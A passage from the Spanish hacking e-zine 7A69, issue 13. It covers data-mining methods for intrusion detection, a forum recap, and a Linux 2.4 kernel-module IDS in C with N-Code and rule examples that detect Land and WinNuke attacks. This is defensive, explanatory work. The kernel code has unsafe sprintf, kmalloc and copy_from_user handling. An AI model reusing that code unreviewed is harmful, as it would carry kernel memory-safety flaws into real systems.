que empezar esta en el sitio de Cert, "Recuperando de un accidente"
(http://www.cert.org/nav/recovering.html).


*EOF*
-=( 7A69#13 )=--=( art11 )=--=( Tecnicas Data Mining )=--=( Memonix )=-
( usadas en entornos de )
( seguridad. )


Introduccion
____________

Las tecnicas Data Mining tambien conocidas como analisis estadisticos
automatizados tienen una gran cantidad de aplicaciones en casi cualquier
sector existente en nuestra sociedad, por lo que tambien son de utilidad en
cuestiones referentes a la seguridad informatica.

Este tipo de tecnicas/conceptos son de ultima generacion en el campo de la
estadistica, siendo de gran utilidad ya que gracias a ellas podemos ser
capaces de predecir el comportamiento de casi cualquier 'variable', ya sea
el comportamiento de la variable dolar en el mercado bursatil o el
comportamiento de la variable 'trafico icmp' en un intrusion detection
system, y todo ello debido a que mediante estas tecnicas se pueden descubrir
patrones ocultos en cualquier tipo de informacion aleatoria en tiempo real.

Dentro de un entorno Data Mining podemos elegir entre varios algoritmos
para llevar a cabo la recogida y analisis de datos, siendo los mas usuales
y conocidos los algoritmos de regresion y clasificacion.

1) Regresion: las tecnicas de regresion simplemente constan de la recogida
de una cierta cantidad de datos con los que se obtiene una formula
matematica, a partir de la cual se pueden hacer predicciones, la unica
necesidad que tiene esta tecnica es que necesita una considerable cantidad
de datos suministrada de una forma continua, para que el modelo generado
sea lo mas aproximado a la realidad, aplicandose solo a variables
cuantitativas, es decir tamaño de los encabezamientos, IDs de los
fragmentos, etc.

2) Clasificacion: esta tecnica esta destinada para trabajar con datos no
cuantitativos o con una mezcla de datos cuantitativos y no cuantitativos,
siendo de utilidad en campos muy concretos.

Para los lectores interesados en tecnicas 'avanzadas' en el campo de los IDS
este articulo lo pueden considerar como un enfoque mas aproximado a la
realidad que el descrito en 'NIDS on mass parallel processing architecture'
en el numero 57 de Phrack, ya que las tecnicas data mining estan implantadas
en las bases de datos de Oracle o en el SQL Server 2000 de Microsoft por
mencionar algunos productos, es decir este tipo de tecnicas no necesitan de
ningun entorno especializado como si ocurre con las tecnicas descritas en el
articulo anteriormente mencionado, las cuales requieren de un entorno
mass parallel processing (MPP) o en su defecto de un emulador para maquinas
x86.

Debilidades intrinsecas en los modelos de comprobacion de firmas
________________________________________________________________

Como es sabido por todos en el mundo de los IDS nos podemos encontrar con
dos tipos de modelos en terminos generales, los sistemas basados en la
comprobacion de ciertas firmas o patrones, los cuales son indicativos de que
el sistema esta siendo atacado o que ya ha sido comprometido, y los sistemas
que no solo se basan en el reconocimiento de firmas de ataques conocidas,
sino que ademas incorporan metodos de aprendizaje... hasta aqui todo bien,
para cualquier usuario con un nivel medio de conocimientos o necesidades
cualquiera de estos modelos le puede resultar lo suficientemente 'seguro'
como para implantarlo en su sistema... pero como no todo se reduce a una
gama media de usuarios, en el mercado han de existir tambien otro tipo de
sistemas basados en otros modelos, los cuales existen porque esta demostrado
que los anteriores modelos no son del todo fiables, entendiendo por no
fiables que existe 'al menos' un 0.1% de posibilidades de que sean
comprometidos; algunos se preguntaran si realmente existen tantos sistemas
con unos requerimientos tan elevados de seguridad... si, efectivamente estos
sistemas existen, aunque otra cosa es que en ellos se tomen las medidas
realmente necesarias.

Cuando he dicho que 'al menos' existe un 0.1% de posibilidades de que un
sistema asegurado con un simple IDS basado en los anteriores modelos sea
comprometido es por unas razones bastante simples (incluso obvias) :

1) Los sitemas basados en los modelos de comprobacion de firmas se basan
en el mantenimiento de grandes bases de datos de firmas de ataques conocidos
pudiendo llegar a parar a ataques en cierto modo similares a los ya
recogidos en la base de datos, como se ve este modelo deja un importante
cabo suelto, la proteccion ante lo desconocido; es cierto que un usuario
medio puede encontrar en este modelo su solucion ideal, pero un sistema
critico no puede estar expuesto a un grado tan elevado de inseguridad, ya
que el numero de habitantes del planeta Tierra que tienen acceso a exploits
de vulnerabilidades no publicas es demasiado elevado como para dejar este
factor en el olvido.

2) Los sistemas que incorporan metodos de aprendizaje para protegerse ante
la amenaza de lo desconocido son por un lado demasiado costosos como para
que su implantacion no suponga un problema, no solo refiriendome con ello a
su coste monetario, sino tambien al coste que supone su mantenimiento, ya
que un usuario sin ciertos conocimientos tecnicos seria incapaz de darle un
uso apropiado. Por otro lado esta el grado de confianza que merecen estas
tecnicas desarrolladas en campos como la Inteligencia Artificial, ya que no
se han hecho las suficientes pruebas a pie de campo como para asegurar que
estos metodos son realmente eficaces en entornos de seguridad contra las
tegnologias de antiseguridad que estan por venir.

Por lo tanto cuando el responsable de seguridad de un sistema critico, el
cual tiene alguna clase de enlace/conexion con el mundo 'exterior', se ha
de plantear la eleccion de algun IDS, los modelos anteriormente mencionados
no le deberian de satisfacer; entiendase por sistema critico maquinas de
alta importancia, como puedan ser las que albergan documentos de maxima
importancia en alguna institucion gubernamental o la maquina encargada de
gestionar la base de datos espejo de un banco cualquiera.

Es en este momento cuando entran en juego los sistemas basados en metodos
estadisticos, los cuales crean un 'modelo' del comportamiento del sistema
'normal' o 'legitimo', por lo que solo restaria comparar ese modelo creado
con la actividad actual del sistema para encontrar cualquier tipo de
'anormalidad', pudiendo decir que lo que vienen a hacer estos sistemas es
'parametrizar' el sistema en el que trabajan; encontrando dentro de toda la
variedad de sistemas que usan metodos estadisticos, los que hacen uso de las
tecnicas conocidas como Data Mining.

Algoritmos Data Mining relevantes en IDS
________________________________________

Antes dije que los algoritmos mas comunes en los entornos Data Mining eran
los algoritmos de regresion y clasificacion, siendo esto cierto cuando
estamos tratando con entornos no orientados a cuestiones de seguridad, en
nuestro caso solo nos interesan aquellos algoritmos que tengan alguna
relacion con esta tematica, por lo que pasare a citarlos, no todos por
supuesto, (aunque como veremos los algoritmos utiles para nuestros
propositos son mas variados que los usados en otro tipo de entornos) :

a) Clasificacion: este fue nombrado antes aunque fue explicado muy
vagamente, pudiendo usar este tipo de algoritmos una vez que tenemos
suficiente informacion sobre caracteristicas 'normales' y 'anormales' del
sistema, pudiendo ser mas especificos si por ejemplo solo queremos
'parametrizar' el comportamiento de un usuario o de un programa determinado,
una vez que tenemos esos datos sobre el objeto o variable a vigilar,
aplicariamos sobre esos datos un algoritmo de clasificacion, que
determinaria futuros comportamientos normales o anormales.

b) Analisis Secuencial: estos algoritmos son de gran utilidad, ya que
gracias a ellos podemos 'descubrir' secuencias de eventos que muy
frecuentemente se encuentran juntos o ligados, es decir con este tipo de
analisis averiguamos la frecuencia de eventos relacionados con el objeto
que estamos estudiando.

c) Analisis de Enlaces: con estas tecnicas averiguamos la relacion existente
entre diversos campos de la base de datos, sirviendonos para seleccionar el
conjunto de caracteristicas mas importantes del sistema para usar estas
mismas en nuestro sistema de deteccion de intrusos, es decir con estos
algoritmos rebajamos en cierta medida las posibilidades de obtener falsos
resultados en nuestros analisis, ya que nos hemos preocupado de seleccionar
solamente aquellas variables que realmente tienen un papel destacado en
nuestros analisis.

d) Ripper: este es un algoritmo inductivo, que segun la informacion
conseguida a partir de la libreria libBFD, va 'haciendose' preguntas
teniendo las respuestas en las caracteristicas obtenidas mediante libBFD.

Existen mas algoritmos para este mismo proposito, pero estos requieren de
enormes cantidades de memoria, y como el objetivo mas o menos era tratar
con algoritmos aplicables a un entorno standard, no los mencionare, para
quien si quiera hacerlo le remito a 'Fast Algorithms for Association Rules'.

Controlando el flujo de ejecucion
_________________________________

Como dije antes los metodos estadisticos orientados a la deteccion de
intrusiones no solo son utilizados para controlar variables de tipo usuario,
sino que tambien pueden ser usados para vigilar el comportamiento de un
programa cualquiera, siendo mas logico el hacerlo con programas que corran
como root en el sistema ya que estos son los que nos pueden dar en un futuro
mas problemas.

Lo unico que se requiere para llevar a cabo este tipo de tecnicas
estadisticas es ser capaces de monitorear la ejecucion del programa el cual
queremos vigilar o parametrizar, lo cual podemos conseguir acumulando datos
traceando la ejecucion normal del programa, ya que cada programa implica a
un conjunto determinado de llamadas al sistema, pudiendo determinar pequeñas

  
secuencias basandonos en el orden en que son llamadas las syscalls, con lo
que construiriamos una base de datos que nos ayudaria a identificar
secuencias anormales, es decir anomalias en la ejecucion del proceso.

Una vez que tenemos esa base de datos podemos poner en practica tecnicas
estadisticas, como puede ser el uso del programa Ripper que nos permite
predecir cuando una secuencia es normal o anormal, como se ve la aplicacion
de tecnicas data mining abre un interesante camino en el mundo de la
seguridad, ya que la parametrizacion de los programas criticos residentes en
nuestro sistema nos permite tener un mayor control sobre el mismo.

Otro aspecto relacionado en cierta medida, es el uso de estas tecnicas en el
mundo de los antivirus, ya que como ocurria en los demas casos, podemos
detectar patrones en grandes cantidades de datos, lo cual ya se intenta
hacer en cierta medida en las actuales tecnicas de programacion de antivirus
ya que estos constan de un detector de firmas y de un clasificador
heuristico para encontrar posibles nuevos virus, debiendo de decir que los
metodos para generar estos clasificadores heuristicos no suelen ser publicos
por lo que no se puede llegar a hacer una comparativa entre metodos
heuristicos y metodos data mining.

Para llevar a cabo este estudio, hemos de ser capaces de extraer ciertas
caracteristicas de cada fichero binario, lo que nos ayudara para saber que
es lo que puede y no puede hacer ese programa en concreto, en el caso de
ejecutables windows se podria usar la libreria libBFD, la cual nos dara el
tamaño, los nombres de las DLLs usadas, los nombres de las llamadas a las
funciones, siendo toda esta informacion extraida del fichero objeto.
Otra opcion que se podria usar para sacar este mismo tipo de informacion es
el uso del programa strings, siendo usado por la comunidad antivirica, pero
se podria decir que no es del todo fiable ya que las cadenas pueden cambiar
sin ningun tipo de problemas; por ultimo podemos hacer uso de hexdump que
convertira archivos binarios en archivos hexadecimales, sirviendonos para
estudiar la secuencia de bits.

Sobre el tema de los clasificadores heuristicos hay muchas cosas de las que
hablar ya que es un campo muy interesante, al igual que como ya he dicho es
un posible contrincante contra las tecnicas data mining en asuntos de
seguridad por lo que podemos decir algo mas sobre estos clasificadores, para
dar una idea de sus posibles ventajas y/o desventajas; estos clasificadores
se solian hacer a mano, siendo un trabajo bastante complejo al alcance de no
muchas personas, siendo muy comun el hacer uso de multiples redes neuronales
para detectar virus desconocidos; en este campo se usan tecnicas de rastreo
muy similares a las usadas por los metodos data mining, por ejemplo Kephart
desarrollo una tecnica para seleccionar automaticamente caracteristicas
indicativas de la presencia de un virus, basandose en la busqueda de
pequeñas secuencias de bytes, proceso que tambien requiere una gran cantidad
de ejemplares para su estudio, tanto archivos infectados como no infectados,
siendo este campo de la deteccion automatica de nuevos virus muy tenido
en cuenta sobre todo ultimamente, ya que el ritmo de aparicion de nuevos
virus es muy elevado, segun el IBM High Integrity Computing Laboratory
aparecen casi tres nuevos virus al dia, siendo otro de los factores
causantes de esto el que los escaners de virus que simplemente se basen en
una base de datos con multiples firmas, estan completamente fuera de juego,
ya que los virus polimorficos son algo que esta a la orden del dia, donde
virus ya conocidos pueden ser modificados en gran parte, siendo tambien
modificada la parte correspondiente a la secuencia de bytes que componen la
firma, y los virus que incluyen rutinas para modificar su forma
deliberadamente, modificando la parte principal del virus usando para ello
una clave que es seleccionada aleatoriamente en el tiempo de replicacion,
siendo la 'head' del virus la encargada de mutar el cuerpo del virus, donde
en este caso la firma de tales virus se sacaria de esa misma head o cabecera
ante lo que nos encontramos con nuevos virus capaces de generar
aleatoriamente diferentes cabeceras, y como fue apuntado por Fred Cohen el
problema de distinguir un virus de un programa 'normal' es algoritmicamente
imposible de un modo general, lo que augura un panorama no demasiado
alentador para la comunidad antivirica, aunque no por ello las
investigaciones en esta materia se van a dejar de realizar.

Posible Desarrollo en IDS
_________________________

La ciencia de la Estadistica puede ayudar y mucho a la pseudociencia de la
seguridad, existiendo una gran cantidad de tecnicas que pueden llevarse a
este campo siendo solo cuestion de tiempo su implantacion, en cuanto a las
tecnicas de analisis estadisticos automatizados o data mining, unos simples
ejemplos de posibles aplicaciones pueden ser:

- aplicar un analizador data mining a los resultados generados por TCPdump
lo que nos permitiria detectar una gran cantidad de ataques con un
porcentaje bastante aceptable de falsos positivos, los ataques que se
podrian detectar.. denegaciones de servicio, ataques de fragmentacion,
actividad de troyanos, la deteccion de 'estimulos' hacia nuestra maquina,
el posible descubrimiento de 'fases' de un ataque determinado mediante la
simple construccion de los indicadores TCP por ejemplo; en resumen se podria
actuar sobre cualquier tipo de accion 'visible' mediante los datos que nos
proporciona TCPdump, para lo que claro esta se requeriria que en una fase
anterior el analizador data mining hubiese tratado con una cantidad
suficiente de informacion en el formato TCPdump, siendo la adecuacion de las
reglas de analisis un paso sin mas contratiempos; lo que se trata es llevar
al campo de la seguridad lo que ya ha sido probado en muchos otros terrenos,
las herramientas que nos ofrece la Estadistica son absolutamente fiables y
pocas veces se llevan a pie de campo las herramientas mas poderosas que esta
nos proporciona, como las data mining, ya que estas son las mas complejas
ante lo que los desarrolladores no familiarizados con las matematicas
tienden a dejarlas en el olvido.

- en el mundo de los ids existen lenguajes especificos, los cuales nos
permiten programar de una forma muy intuitiva filtros para la deteccion de
intrusos que se limitan a detectar firmas de ataque.
Como he dicho existen varios de estos lenguajes, siendo algunos mas
complicados de lo que debieran mientras que otros no son lo suficientemente
flexibles; en mi opinion el mejor lenguaje existente para este proposito es
el N-Code, usado en el sistema NFR, siendo muy facil tanto para escribir
como para leer filtros, decir que la sintaxis de construccion de filtros de
snort tampoco es demasiado dificil, unos simples ejemplos de N-Code para
quien nunca haya visto nada sobre el tema:

############################################################
# detects if the ip direction of origin is the same that
# the ip direction of destiny
#
# memonix
############################################################

filter small dos()
{
if (ip.src == ip.dest)
{
record system.time, eth.src, ip.src, eth.dst,
ip.dest to land_recrdr;
}
}

############################################################
# OOB Module (WinNuke)
#
# sili@l0pht.com
############################################################

the_schema = library_schema:new( 1, [ "time","ip","ip" ],
scope() );

filter oob tcp (client, dport: 139)
{
$urgpointer = long(ip.blob,16);
if ($urgpointer == 3)
record system.time, ip.scr, ip.dst to the_recorder;
}

the_recorder = recorder("bin/histogram packages/test/oob.cfg",
"the_schema");

Despues de ver esto toca decir donde encuadramos a las tecnicas data mining,
pues ni mas ni menos que como una posible alternativa a este tipo de
lenguajes especificos de cada ids, la codificacion de algoritmos data
mining en lenguajes como C puede llegar a ser demasiado complejo cosa que
podemos intentar solucionar si hacemos que entren en juego lenguajes de
programacion estadisticos, como es el caso de R, que nos permitiria diseñar
de una forma mas simple este tipo de tecnicas, siendo aun necesarias
ciertas librerias que no estan disponibles para que esto pudiera llegar a
tener lugar, pero como ya digo la implementacion directa de este metodo en
los ids haria que los falsos positivos alcanzasen minimos nunca vistos, por
lo que el esfuerzo merece la pena.

- los patrones de busqueda de correlaciones (tallies) que suelen ser muy
usados en los ids, no siempre son en estos tan efectivos como se podria
esperar, 'parametrizando' nuestro sistema o red mediante las tecnicas que
dan nombre a este texto conseguiriamos hacerlo de una forma mucho mas
directa; el formato TCP Quad el cual es muy usado por los analistas de ids
ayudaria en gran medida a que esto pudiera tener lugar, esto en cierta
medida tambien nos ayudaria a resolver los tipicos problemas de
almacenamiento, con lo que podriamos olvidarnos de tener que seguir los
consejos del grupo de trabajo PDD63 sobre la validez de los analisis
forenses tras la reduccion de datos pasado cierto tiempo.

- ...

Para terminar simplemente decir que el numero de tecnicas existentes para el
tratamiento de variables aleatorias es muy extenso, teniendo todas ellas
la importancia suficiente como para que algun dia sean llevadas al campo de
la seguridad informatica.


Saludos a Mr.Jade y a todos los investigadores de España :)

"Se recompensa mal a un maestro si se permanece siempre discipulo"
_____________________________________________________________________________

*EOF*
-=( 7A69#13 )=--=( art12 )=--=( Leido en el foro. )=--=( Staff )=-


Como ya sabeis (o deberiais saber! huh!), 7a69 ha abierto un foro, a
modo de que se puedan plantear dudas que puedan resultar de interes para
demas lectores, dar animos, lo que querais... y de ahora en adelante, cada
numero de 7a69 mantendra esta seccion, que se encargara de dar un rapido
repaso a todos los posts hechos en el foro, para que no caigan en saco roto.

De primeras agradecer a todos aquellos que nos han dado su apoyo para
que sigamos adelante, su respaldo es mas importante de lo que creen. Aparte
de animo, sin embargo, se han tratado otros temas de interes, sobretodo,
temas de opinion.

Se ha hablado de la actitud que un Hacker debe seguir, de las normas
que supuestamente todo Hacker debe acatar, con conclusion incluida. Que cada
palo aguante su vela, no se debe intentar imponer una serie de normas mas o
menos acertadas a juicio de quien sea, a una actitud ante la vida como es el
ser Hacker. Hablar de los mandamientos del Hacker me parece algo retrogado.

Tambien se hablo de Hackear gasol.com, y demas bromas que en cierto
modo amenizaron algo el foro durante el peque¤o paron que tuvo... pocos dias
despues se iniciaba un thread kilometrico y bastante interesante, no tiene
perdida. Se discute a que nivel esta la escena de .es en relacion a las de
otros paises como Alemania, y pese a que cada uno lo justifica de una u otra
forma, todos coinciden en que estamos por debajo. Hay muy poca actividad en
Espa¤a respecto a otros paises en lo que a I+D respecta. Muchos argumentaran
que es porque a la luz solo salen unos pocos trabajos. Discrepo. En USA, por
poner de ejemplo a un Pais con una escena del Hack desarrollada, la mayoria
de los trabajos que salen no representan ni de lejos el total. Hay mucho
movimiento clandestino, en un pais donde los que defienden la divulgacion
total de codigo son minoria. Todos hemos oido hablar de los tradeos en redes
de IRC de exploits que no han salido a la luz, de codigo diverso, y demas
informacion.

Misteriosamente el thread acabo en una discusion de porque no hay mas
Hackers en Espa¤a, y se hablo de que si los Hackers que frecuentan el IRC no
ayudan a aquellos que se inician. Todas las respuestas que tuvo refutaron
esto, basicamente porque de los contados Hackers que se distraen en el IRC,
no tienen/deben de ser un servicio de atencion al novato. Se hablo de que si
hay que ser superdotado para entender algunos manuales, y de todo el caudal
de respuestas que hubo se saca algo en claro: Quien busca, encuentra. Si los
demas han podido, porque tu no ibas a poder? echale ganas, lee, investiga,
superate. El thread todavia no ha acabado.

Aparte de esto, se anuncio que 7a69 era la web del mes en la revista
de tematica Underground "@rroba", algo de lo que el staff de 7a69 se siente
orgulloso. Tambien tuvimos el gusto de que nuestro amigo rootzero (a quien
personalmente mando un saludo) nos saludase. Y esto fue por encima todo lo
que acontecio al foro.

Nos leemos en el foro :-)

URL del foro: forum.7a69ezine.org

*EOF*
-=( 7A69#13 )=--=( art13 )=--=( Cortos )=--=( Varios )=-

Y en esta seccion, como siempre, encontrareis mini-articulillos, que,
creemos, tambien pueden ser de intres :)

1.- Un IDS a nivel de kernel. - ZiSXko
2.- Buffers overflow, por buffers sin
caracter nulo. - Ripe
3.- Buffers overflow, por bug de
formato. - Ripe
4.- ICMP-Shell atraves del kernel. - ZiSXko
5.- Pachanga sysrq patch. - Trycky


-------------------------------------------------------------------------------
---/ 1 /--/ Un IDS a nivel de kernel. /--/ ZiSXko /----------------------------
-------------------------------------------------------------------------------


1.- Un IDS a nivel de kenrel
----------------------------

La programacion a nivel de kernel es la programacion que a todo el mundo que
le guste programar Sistemas operativos es la mas bonita y la mas interesante,
encontrarse con las estructuras del kernel que vemos en los articulos o
libros de cualquier unix y poder jugar con los inodos y demas estructuras pues
mola mucho la verdad, tambien es cierto que la probabilidad de cargarnos
nuestro bonito Linux aumenta considerablemente. En el ejemplo que pongo vamos
a tocar una parte de la Pila TCP de Linux y el acceso al /proc, el siguiente
programa es un IDS(Intrussion Detection System) a nivel kernel que obviamente
tiene defectos y virtudes como todos los programas.

El programa consta de un modulo ids_kernel.c, un fichero de cabezera
ids_kernel.h y un fichero idsrule.c.

ids_kernel.c es la parte que se va ha quedar residente en el Kernel y el cual
atraves de un fichero temporal recivira los datos del area de Usuario.
ids_kernel.h tiene dos estructuras declaradas y una de ellas se utiliza para
hacer el swap del area de usuario al area del kernel, ya se sabe de modo
usuario a modo protegido en arquitecturas x86.

idsrule.c es el programa con el que interactuaremos nosotros, donde
realizaremos un script y tendremos las reglas a monitorizar
por ejemplo un ejemplo de regla podria ser el siguiente:
idsrule -IN -syn -dport 21 -msg "Intento de Telnet"
idsrule -IN -syn -urg -dport 139 -msg "Posible WinNuke"
idsrule -IN -msg "Paquete Nulo"
......

2.- El codigo
-------------

---/ ids_kernel.c /---

/* ids_kernel.c
* ziSXko Chistems Presents, un Reconocedor de patrones TCP un IDS cutre
* Compilar con
* gcc ids_kernel.c -c -fomit-frame-pointer -O2 -I/usr/src/linux/include
* gcc ids_kernel.c -c -Wall -fomit-frame-pointer -O2 -I/usr/src/linux/include
* insmod ids_kernel.o
* Solo Funciona Sobre Kernels Superiores al 2.4.0 mucho Ojo!
*/

#define MODULE
#define __KERNEL__

#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/proc_fs.h>
#include <linux/malloc.h>
#include "ids_kernel.h"
#include <asm/uaccess.h>

#define FICHERO_PROC_USER_KERNEL "kernids"
#define MAX_BUFFER_USER_KERNEL 1024
#define VERDADERO 1
#define FALSO 0


char *dispositivo;
MODULE_PARM(dispositivo,"s"); /* que vamos a leer un parametro y es un string
*/


struct packet_type proto;
struct device *dispo;
struct regla_TCP *tcpRuleIN=NULL;
struct regla_TCP *tcpRuleOUT=NULL;
struct proc_dir_entry *ent;

/****************************************************************/
/* */
/* Funciones para el Acceso al /proc */
/* */
/****************************************************************/

static ssize_t salida_fichero_swap(struct file *file,char *buf,size_t
len,loff_t *offset)
{
/* En principio no damos las reglas para verlas */
static int finished=0;
char buffer[MAX_BUFFER_USER_KERNEL];
int i;

if(finished)
{
finished=0;
return 0;
}


memset(&buffer,0,MAX_BUFFER_USER_KERNEL);

stats_TCP.reglas_activas=stats_TCP.reglas_in + stats_TCP.reglas_out;
sprintf(buffer,"Reglas TCP Activas = %d\n",stats_TCP.reglas_activas);
sprintf(buffer,"%sReglas TCP IN = %d\n",buffer,stats_TCP.reglas_in);
sprintf(buffer,"%sReglas TCP OUT = %d\n",buffer,stats_TCP.reglas_out);
sprintf(buffer,"%sPaquetes TCP Reconocidos IN =
%d\n"
,buffer,stats_TCP.pkt_reconocidos_in);
sprintf(buffer,"%sPaquetes TCP Reconocidos OUT =
%d\n"
,buffer,stats_TCP.pkt_reconocidos_out);
sprintf(buffer,"%sPaquetes TCP Examinados =
%d\n"
,buffer,stats_TCP.pkt_examinados);

for(i=0;i<len && buffer[i];i++)
put_user(buffer[i],buf+i);
finished=1;
return i;
}

static ssize_t entrada_fichero_swap(struct file *file,const char *buf,size_t
lenght,loff_t *offset)
{
/* Han añadido desde el area de usuario una nueva Regla */
struct Regla_TCP *newtcp,tcpaux;
int aux;

newtcp=(struct Regla_TCP*)kmalloc(sizeof(struct Regla_TCP),GFP_KERNEL);

aux=copy_from_user(&tcpaux,buf,sizeof(tcpaux));

newtcp->destino=tcpaux.destino;
newtcp->ack=tcpaux.ack;
newtcp->syn=tcpaux.syn;
strncpy(newtcp->mensaje,tcpaux.mensaje,1024);
newtcp->fin=tcpaux.fin;
newtcp->psh=tcpaux.psh;
newtcp->urg=tcpaux.urg;
newtcp->rst=tcpaux.rst;
newtcp->puerto_destino=tcpaux.puerto_destino;
newtcp->puerto_origen=tcpaux.puerto_origen;

switch(newtcp->destino)
{
case PKT_IN:
newtcp->next=tcpRuleIN;
tcpRuleIN=newtcp;
stats_TCP.reglas_in++;
break;
case PKT_OUT:
newtcp->next=tcpRuleOUT;
tcpRuleOUT=newtcp;
stats_TCP.reglas_out++;
break;
}

/*muestra_regla(newtcp);
printk("Regla Añadida\n");*/

return 1;
}

static int fichero_swap_permisos(struct inode *inode,int op)
{
/* op==4 es lectura , op==2 es escritura y solo puede hacerlo el root */
if(op==4||(op==2 && current->euid==0))
return 0;
return -EACCES;
}

int abrir_fichero_swap(struct inode *inode,struct file *file)
{
MOD_INC_USE_COUNT;
return 0;
}

int cierra_fichero_swap(struct inode *inode,struct file *file)
{
MOD_DEC_USE_COUNT;
return 0;
}

static struct file_operations Operaciones_fichero_swap = {
read:salida_fichero_swap,
write:entrada_fichero_swap,
open:abrir_fichero_swap,
release:cierra_fichero_swap
};

static struct inode_operations Operaciones_sobre_Inodo_swap = {
create:&Operaciones_fichero_swap,
permission:fichero_swap_permisos
};

static struct proc_dir_entry Entrada_fichero_Proc_swap = {
0,
7,
FICHERO_PROC_USER_KERNEL,
S_IFREG|S_IRUGO|S_IWUSR,
1,
0,
0,
MAX_BUFFER_USER_KERNEL,
&Operaciones_sobre_Inodo_swap,
&Operaciones_fichero_swap,
NULL
};

/****************************************************************/
/* */
/* Funciones para el Acceso al Sk_buff */
/* */
/****************************************************************/


int detecta(struct sk_buff *skb,struct device *dv,struct packet_type *pt)
{
struct iphdr *iph;
struct tcphdr *tcph;
struct udphdr *udph;

__u32 ip_origen;
__u32 ip_destino;
__u16 sport;
__u16 dport;


if(skb->nh.iph->version!=4)
{
kfree_skb(skb);
return 0;
}

iph=skb->nh.iph;

/* El paquete bien sin formato, hay que reajustarlo ;-)*/
skb->h.raw = skb->nh.raw +skb->nh.iph->ihl*4;
skb->data = (unsigned char *)skb->h.raw +(skb->h.th->doff <<2);
skb->len -= skb->nh.iph->ihl*4 +(skb->h.th->doff << 2);

ip_origen=skb->nh.iph->saddr;
ip_destino=skb->nh.iph->daddr;

switch(skb->nh.iph->protocol)
{
case 1:/*Protocolo ICMP*/
printk(KERN_INFO"Interceptando pakete ICMP\n");
break;
case 6:/*Protocolo TCP */
/*printk(KERN_INFO"Interceptando pakete TCP\n");*/
tcph=(struct tcphdr*)((__u32 *)skb->nh.iph+skb->nh.iph-
>ihl);
switch(skb->pkt_type)
{
case PACKET_HOST:
procesa_paquete_tcp
(tcph,ip_origen,ip_destino,tcpRuleIN);
break;
case PACKET_OUTGOING:
procesa_paquete_tcp
(tcph,ip_origen,ip_destino,tcpRuleOUT);
/*printk("PACKET_OUTGOING\n");*/
break;
}
break;
case 17:/*Protocolo UDP */
printk(KERN_INFO"Interceptando pakete UDP\n");
break;
case 2:/*Protocolo IGMP */
printk(KERN_INFO"Interceptando paquete iGMP\n");
break;
default:
kfree_skb(skb);
return 0;
}
kfree_skb(skb);
return 0;

}

/****************************************************************/
/* */
/* Funciones para el tratamiento del Paquete TCP/IP */
/* */
/****************************************************************/

int procesa_paquete_tcp(struct tcphdr *tcph,__u32 ip_orig,__u32 ip_dest,struct
Regla_TCP *tcpRule)
{
struct Regla_TCP *tcp;
int flagsok;
int puerto_ok;

tcp=tcpRule;

while(tcp!=NULL)
{
flagsok=FALSO;
puerto_ok=FALSO;
if((tcp->syn==tcph->syn)&&(tcp->ack==tcph->ack)&&(tcp-
>fin==tcph->fin)
&&(tcp->rst==tcph->rst)&&(tcp->psh==tcph->psh)&&(tcp-
>urg==tcph->urg))
{
flagsok=VERDADERO; /* Coinciden los Flags */
}

if((tcp->puerto_origen==0)&&(tcp->puerto_destino==0))
puerto_ok=VERDADERO;

if((tcp->puerto_origen!=0)&&(tcp->puerto_destino==0))
if(tcp->puerto_origen==ntohs(tcph->source))
puerto_ok=VERDADERO;

if((tcp->puerto_origen==0)&&(tcp->puerto_destino!=0))
if(tcp->puerto_destino==ntohs(tcph->dest))
puerto_ok=VERDADERO;

if((tcp->puerto_origen!=0)&&(tcp->puerto_destino!=0))
if((tcp->puerto_destino==ntohs(tcph->dest))&&(tcp-
>puerto_origen==ntohs(tcph->source)))
puerto_ok=VERDADERO;

if((flagsok==VERDADERO)&&(puerto_ok==VERDADERO))
{
printk(KERN_ALERT"%s desde %d.%d.%d.%d a
%d.%d.%d.%d\n"
,tcp->mensaje,NIPQUAD(ip_orig),NIPQUAD(ip_dest));
if(tcp->destino==PKT_IN)
stats_TCP.pkt_reconocidos_in++;
else
stats_TCP.pkt_reconocidos_out++;
}

stats_TCP.pkt_examinados++;


tcp=tcp->next;
}

return 0;
}

void muestra_regla(struct Regla_TCP *tcp)
{
printk("PUERTO[ORIGEN(%d)DESTINO(%d)]\n",tcp->puerto_origen,tcp-
>puerto_destino);
printk("FLAGS[SYN(%d)ACK(%d)FIN(%d)",tcp->syn,tcp->ack,tcp->fin);
printk("RST(%d)PSH(%d)URG(%d)]\n",tcp->rst,tcp->psh,tcp->urg);
printk("MSG(%s)\n",tcp->mensaje);
}



/****************************************************************/
/* */
/* Funciones para la carga y descarga del Modulo */
/* */
/****************************************************************/

void inicia_estadisticas()
{
stats_TCP.reglas_activas=0;
stats_TCP.reglas_in=0;
stats_TCP.reglas_out=0;
stats_TCP.pkt_reconocidos_in=0;
stats_TCP.pkt_reconocidos_out=0;
stats_TCP.pkt_examinados=0;
}

void elimina_reglas(struct Regla_TCP *tcp)
{
struct Regla_TCP *tcpaux;

while(tcp!=NULL)
{
tcpaux=tcp;
tcp=tcp->next;
kfree(tcpaux);
}
}

int init_module(){

if(dispositivo)
{
dispo=dev_get(dispositivo);
if(!dispo)
{
printk(KERN_WARNING"No se ha encontrado el Dispositvo\n");
printk(KERN_WARNING"Se usaran todos \n");
}else{
printk(KERN_WARNING"IDS en Dispositivo %s\n",dispositivo);
proto.dev=dispo;
}
}else
printk(KERN_WARNING"Se Usaran todos los dispositivos\n");

/*proto.type=htons(ETH_P_ALL);*/
proto.type=htons(ETH_P_IP);
proto.func=detecta;
dev_add_pack(&proto);
printk(KERN_NOTICE"Cargando IDS\n");
inicia_estadisticas();

if((ent=create_proc_entry(FICHERO_PROC_USER_KERNEL, S_IRUGO | S_IWUSR,
NULL))!=NULL)
{
ent->proc_iops=&Operaciones_sobre_Inodo_swap;
ent->proc_fops=&Operaciones_fichero_swap;
}else
{
printk(KERN_WARNING"No se puede Crear el Fichero en /proc\n");
printk(KERN_WARNING"El IDS no Funcionara Correctamente\n");
}

return 0;
}

void cleanup_module(){
printk(KERN_NOTICE"Descargando IDS\n");
dev_remove_pack(&proto);
elimina_reglas(tcpRuleIN);
elimina_reglas(tcpRuleOUT);
remove_proc_entry(FICHERO_PROC_USER_KERNEL,NULL);
}


/* ids_kernel.h
* Estructuras de las Reglas del IDS
*/


/* Estructura para las Reglas de los mensajes TCP */
#define PKT_IN 0
#define PKT_OUT 1

struct Regla_TCP
{
int destino;
unsigned int puerto_destino;
unsigned int puerto_origen;
int syn;
